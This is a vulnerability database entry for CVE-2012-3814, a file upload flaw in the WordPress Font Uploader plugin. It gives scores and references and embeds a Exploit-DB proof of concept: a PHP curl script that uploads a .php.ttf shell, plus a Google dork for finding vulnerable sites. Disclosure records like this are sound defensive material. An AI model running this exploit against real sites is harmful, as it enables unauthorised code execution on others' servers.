CVE-2012-3814 : Detail

CVE-2012-3814

A01-Broken Access Control
1.22%V3
Network
2012-06-27
21h00 +00:00
2024-09-16
18h04 +00:00
CVE.org
NVD
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CVE Descriptions

Unrestricted file upload vulnerability in font-upload.php in the Font Uploader plugin 1.2.4 for WordPress allows remote attackers to execute arbitrary PHP code by uploading a PHP file with a .php.ttf extension, then accessing it via a direct request to the file in font-uploader/fonts.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 18994

Publication date : 2012-06-05 22h00 +00:00
Author : Sammy FORGIT
EDB Verified : Yes

################################################## # Description : Wordpress Plugins - WordPress Font Uploader Shell Upload Vulnerability # Version : 1.2.4 # Link : http://wordpress.org/extend/plugins/font-uploader/ # Plugins : http://downloads.wordpress.org/plugin/font-uploader.1.2.4.zip # Date : 01-06-2012 # Google Dork : inurl:/wp-content/plugins/font-uploader/ # Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr ################################################## Exploit : PostShell.php <?php $uploadfile="lo.php.ttf"; $ch = curl_init("http://server/wordpress/wp-content/plugins/font-uploader/font-upload.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('font'=>"@$uploadfile", 'Submit'=>'submit')); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?> Shell Access : http://www.exemple.com/wordpress/wp-content/plugins/font-uploader/fonts/lo.php.ttf lo.php.ttf <?php phpinfo(); ?>

Products Mentioned

Configuraton 0

Pippin_williamson>>Font_uploader >> Version 1.2.4

Wordpress>>Wordpress >> Version -

References

http://www.exploit-db.com/exploits/18994
Tags : exploit, x_refsource_EXPLOIT-DB
http://secunia.com/advisories/49327
Tags : third-party-advisory, x_refsource_SECUNIA
http://osvdb.org/82657
Tags : vdb-entry, x_refsource_OSVDB